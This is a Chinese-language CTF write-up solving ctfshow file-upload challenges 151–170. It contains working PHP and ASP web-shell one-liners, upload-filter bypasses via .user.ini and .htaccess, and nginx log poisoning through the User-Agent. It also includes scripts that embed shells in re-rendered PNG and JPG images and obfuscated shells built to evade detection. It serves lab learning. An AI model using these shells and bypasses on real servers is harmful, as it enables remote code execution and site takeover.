CTFSHOW 文件上传 151-170

发布于 2022-03-16  27 次阅读


  • 预备知识

1、一句话木马:

php:<?php @eval($_post['pass']);?>

asp:<%eval request ("pass")%>

aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

phtml:GIF89a? <script language="php">eval($_GET['cmd'])</script>

2、Linux查看文件命令

(1) more指令 —— 分页显示文件内容

more指令会以一页一页的形式显示文件内容,按空白键(space)显示下一页内容,按Enter键会显示下一行内容,按 b 键就会往回(back)一页显示,其基本用法如下:

more    file1             查看文件file1的文件内容;

more   -num   file2    查看文件file2的内容,一次显示num行;

more   +num   file3   查看文件file3的内容,从第num行开始显示;

(2)  less指令 —— 可以向前或向后查看文件内容

less指令查看文件内容时可以向前或向后随意查看内容;

less指令的基本用法为:

less   file1    查看文件file1的内容;

less   -m    file2     查看文件file2的内容,并在屏幕底部显示已显示内容的百分比;

按空格键显示下一屏的内容,按回车键显示下一行的内容;

按  U  向前滚动半页,按  Y   向前滚动一行;

按[PageDown]向下翻动一页,按[PageUp]向上翻动一页;

按   Q   退出less命令;

(3) head指令 —— 查看文件开头的内容

head指令用于显示文件开头的内容,默认情况下,只显示文件的头10行内容;

head指令的基本用法:

head  -n  <行数>   filename      显示文件内容的前n行;        例如:head   -n   5   file1     显示文件file1的前5行内容

head   -c  <字节>    filename      显示文件内容的前n个字节;        例如:head  -c  20  file2      显示文件file2的前20个字节内容

(4) tail指令 —— 显示文件尾部的内容

tail指令用于显示文件尾部的内容,默认情况下只显示指定文件的末尾10行;

tail指令的基本用法:

tail    file1      显示文件file1的尾部10行内容;

tail  -n  <行数>  filename    显示文件尾部的n行内容;        例如:tail  -n  5   file1    显示文件file1的末尾5行内容

tail  -c  <字节数>   filename     显示文件尾部的n个字节内容;        例如:tail  -c  20   file2    显示文件file2的末尾20个字节

(5)  cat指令 —— 显示文件内容

使用cat命令时,如果文件内容过多,则只会显示最后一屏的内容;

cat指令的基本用法:

cat   file1        用于查看文件名为file1的文件内容;

cat   -n   file2       查看文件名为file2的文件内容,并从1开始对所有输出的行数(包括空行)进行编号;

cat   -b   file3      查看文件名为file3的文件内容,并从1开始对所有的非空行进行编号;

(6) tac指令——倒序查看文件内容

类似于cat命令,只不过是从文件末尾开始查看文件

(7)nl命令——输出的文件内容自动的加上行号

nl命令在linux系统中用来计算文件中行号nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。  

1.命令格式:

nl [选项]... [文件]...

2.命令参数:

-b  :指定行号指定的方式,主要有两种:

-b a :表示不论是否为空行,也同样列出行号(类似 cat -n);

-b t :如果有空行,空的那一行不要列出行号(默认值);

-n  :列出行号表示的方法,主要有三种:

-n ln :行号在萤幕的最左方显示;

-n rn :行号在自己栏位的最右方显示,且不加 0 ;

-n rz :行号在自己栏位的最右方显示,且加 0 ;

-w  :行号栏位的占用的位数。

  • WEB_151:前端验证,直接修改前端源码

修改前端源码之后再上传php一句话木马即可

  • WEB_152:后端验证,文件类型检验

后端验证会检测三个地方:

1、文件名称

2、文件类型

3、文件内容

类似上一题,首先修改前端文件验证的地方。

再用bp抓包,先尝试修改文件名称3.phP进行大写绕过,但是行不通,然后修改Content-Type为image/png

利用php的一句话木马,上传即可

  • WEB_153:配置文件可控

由此可以说明upload文件夹里面有index.php。

那么我们可以利用.user.ini修改append

.user.ini和.htaccess

https://www.dazhuanlan.com/vip_mmles/topics/1547397

php.ini配置:

https://www.php.net/manual/zh/ini.list.php

绕过前端检验和后端的文件类型检验,然后修改文件名称.user.ini

紧接着上传含有一句话木马的png文件

  • WEB_154:文件内容检验

首先跟上一题一样,先上传一个。user.ini的配置文件

再上传1.png含有一句话木马的时候,出现报错

查看发现是文件内容不合规

然后通过调试找出是什么导致文件内容不合规

最后发现是因为含有PHP标签导致文件内容不合规,这个时候我们需要利用php的短标签特性

注意,这时候我们需要对php.ini进行一下配置(因为有些时候,web服务器并没有启动短标签)

(同理也可以使用ASP短标签)

最后访问发现,我们成功将一句话木马包含进去了

  • WEB_155:同154

  • WEB_156:绕过[]的检验

同样的先上传.user.ini,再上传一句话木马

很明显,这个地方将[]进行了过滤

我们可以用大括号{}绕过

也或者,直接用system执行,不用eval,这个是无奈之举

  • WEB_157:利用array_pop绕过[]和{}的检验

这个地方可以结合eval函数,构成:

eval(array_pop($_GET));

这样让GET传参的所有的值

这个地方有个小细节:PHP语言的最后一句话中可以不要;

  • WEB_158:同上

  • WEB_159:利用包含日志文件,再修改UA头进行一句话木马注入

首先上传.user.ini

然后再上传include 包含日志文件(log被过滤了,利用拼接绕过)

<?=include'/var/l'.'og/nginx/access.lo'.'g'?>

利用日志里面包含这个UA头,我们可以将我们的UA头修改成一句话木马,然后进行执行

这里就是表示我们已经上传成功了

最后利用一句话木马,远程执行即可

  • WEB_160:同上,加入了空格过滤,不能用空格

  • WEB_161:后端文件头的检验

这个地方应该就是对文件的类型也就是文件头进行了检验

在头上加上GIF89A绕过即可

  • WEB_162,163: session文件包含(这个题由于平台限制,所以无法竞争)

  • WEB_164:png图片二次渲染

后端进行二次渲染 ,利用 imagecreatefrompng().

png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域

    二次渲染 参考: https://www.fujieace.com/penetration-test/upload-labs-pass-16.html

渲染脚本:

png:

<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {

   $r = $p[$y];

   $g = $p[$y+1];

   $b = $p[$y+2];

   $color = imagecolorallocate($img, $r, $g, $b);

   imagesetpixel($img, round($y / 3), 0, $color);

}

imagepng($img,'./1.png');

?>

利用脚本生成 1.png

在图片里面插入了一句话木马,再上传上去。

访问我们上传的文件,

再下载我们上传的文件发现,出现了报错,说明我们的一句话木马生效了

然后利用bp抓包和发包,构造我们我一句话木马

  • WEB_165:jpg图片二次渲染

原理和png图片二次渲染一样

具体操作:

首先上传一张正常的jpg照片,然后下载上传的那个图片(被后端二次渲染后的图片)

然后使用PHP脚本将一句话木马插入:

注意:

$miniPayload:需要插入的一句话木马;

$argv[1]:是被下载的后端二次渲染之后的图片的路径

<?php

/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().

It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script

2) Save the processed image and launch:

jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:

1) After the second processing the injected data may become partially corrupted.

2) The jpg_payload.php script outputs "Something's wrong".

If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_GET["cmd"]);?>';

$argv[1]="2.jpg";

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {

die('php-gd is not installed');

}

if(!isset($argv[1])) {

die('php jpg_payload.php <jpg_name.jpg>');

}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {

$nullbytePayloadSize = $pad;

$dis = new DataInputStream($argv[1]);

$outStream = file_get_contents($argv[1]);

$extraBytes = 0;

$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {

die('Incorrect SOI marker');

}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {

$marker = $dis->readByte();

$size = $dis->readShort() - 2;

$dis->skip($size);

if($marker === 0xDA) {

$startPos = $dis->seek();

$outStreamTmp =

substr($outStream, 0, $startPos) .

$miniPayload .

str_repeat("\0",$nullbytePayloadSize) .

substr($outStream, $startPos);

checkImage('_'.$argv[1], $outStreamTmp, TRUE);

if($extraBytes !== 0) {

while((!$dis->eof())) {

if($dis->readByte() === 0xFF) {

if($dis->readByte !== 0x00) {

break;

}

}

}

$stopPos = $dis->seek() - 2;

$imageStreamSize = $stopPos - $startPos;

$outStream =

substr($outStream, 0, $startPos) .

$miniPayload .

substr(

str_repeat("\0",$nullbytePayloadSize).

substr($outStream, $startPos, $imageStreamSize),

0,

$nullbytePayloadSize+$imageStreamSize-$extraBytes) .

substr($outStream, $stopPos);

} elseif($correctImage) {

$outStream = $outStreamTmp;

} else {

break;

}

if(checkImage('payload_'.$argv[1], $outStream)) {

die('Success!');

} else {

break;

}

}

}

}

unlink('payload_'.$argv[1]);

die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {

global $correctImage;

file_put_contents($filename, $data);

$correctImage = TRUE;

imagecreatefromjpeg($filename);

if($unlink)

unlink($filename);

return $correctImage;

}

function custom_error_handler($errno, $errstr, $errfile, $errline) {

global $extraBytes, $correctImage;

$correctImage = FALSE;

if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {

if(isset($m[1])) {

$extraBytes = (int)$m[1];

}

}

}

class DataInputStream {

private $binData;

private $order;

private $size;

public function __construct($filename, $order = false, $fromString = false) {

$this->binData = '';

$this->order = $order;

if(!$fromString) {

if(!file_exists($filename) || !is_file($filename))

die('File not exists ['.$filename.']');

$this->binData = file_get_contents($filename);

} else {

$this->binData = $filename;

}

$this->size = strlen($this->binData);

}

public function seek() {

return ($this->size - strlen($this->binData));

}

public function skip($skip) {

$this->binData = substr($this->binData, $skip);

}

public function readByte() {

if($this->eof()) {

die('End Of File');

}

$byte = substr($this->binData, 0, 1);

$this->binData = substr($this->binData, 1);

return ord($byte);

}

public function readShort() {

if(strlen($this->binData) < 2) {

die('End Of File');

}

$short = substr($this->binData, 0, 2);

$this->binData = substr($this->binData, 2);

if($this->order) {

$short = (ord($short[1]) << 8) + ord($short[0]);

} else {

$short = (ord($short[0]) << 8) + ord($short[1]);

}

return $short;

}

public function eof() {

return !$this->binData||(strlen($this->binData) === 0);

}

}

?>

再将生成的payload_2.jpg上传

利用bp抓包得到文件,然后再上传命令执行一句话木马

注意get请求上面是url传参,所以空格需要用+来代替

  • WEB_166:jpg图片二次渲染

  • WEB_167: .htaccess文件上传

httpd-apache2服务器

上传.htaccess文件 ,任意文件解析为php

  • WEB_168:PHP 免杀

上传png图片,再将文件改成php文件

所谓PHP免杀,就是在正常的png图片的后面加上一句话木马

这个地方用反引号就可以直接执行system命令

<?php $a = "s#y#s#t#e#m"; $b = explode("#",$a); $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5]; $c($_REQUEST[1]); ?>

<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>

<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>

<?php $a=$_REQUEST['a']; $b=$_REQUEST['b']; $a($b); ?>

  • WEB_169,170:手写index.php日志包含

直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含

首先登陆网站upload文件夹发现没有index.php,这个时候我们可以考虑手动上传一个。

同时,上传时,需要burp抓包上传,上传zip文件,并且将file_content修改为image/png才能成功上传

这说明我们上传的index.php起到了作用

上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log

再次上传,在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>

(上传GET请求的时候,再执行命令,这个时候就不会执行,不知道是为什么)

最后上传命令即可


“缘分让我们相遇乱世以外,命运却让我们危难中相爱”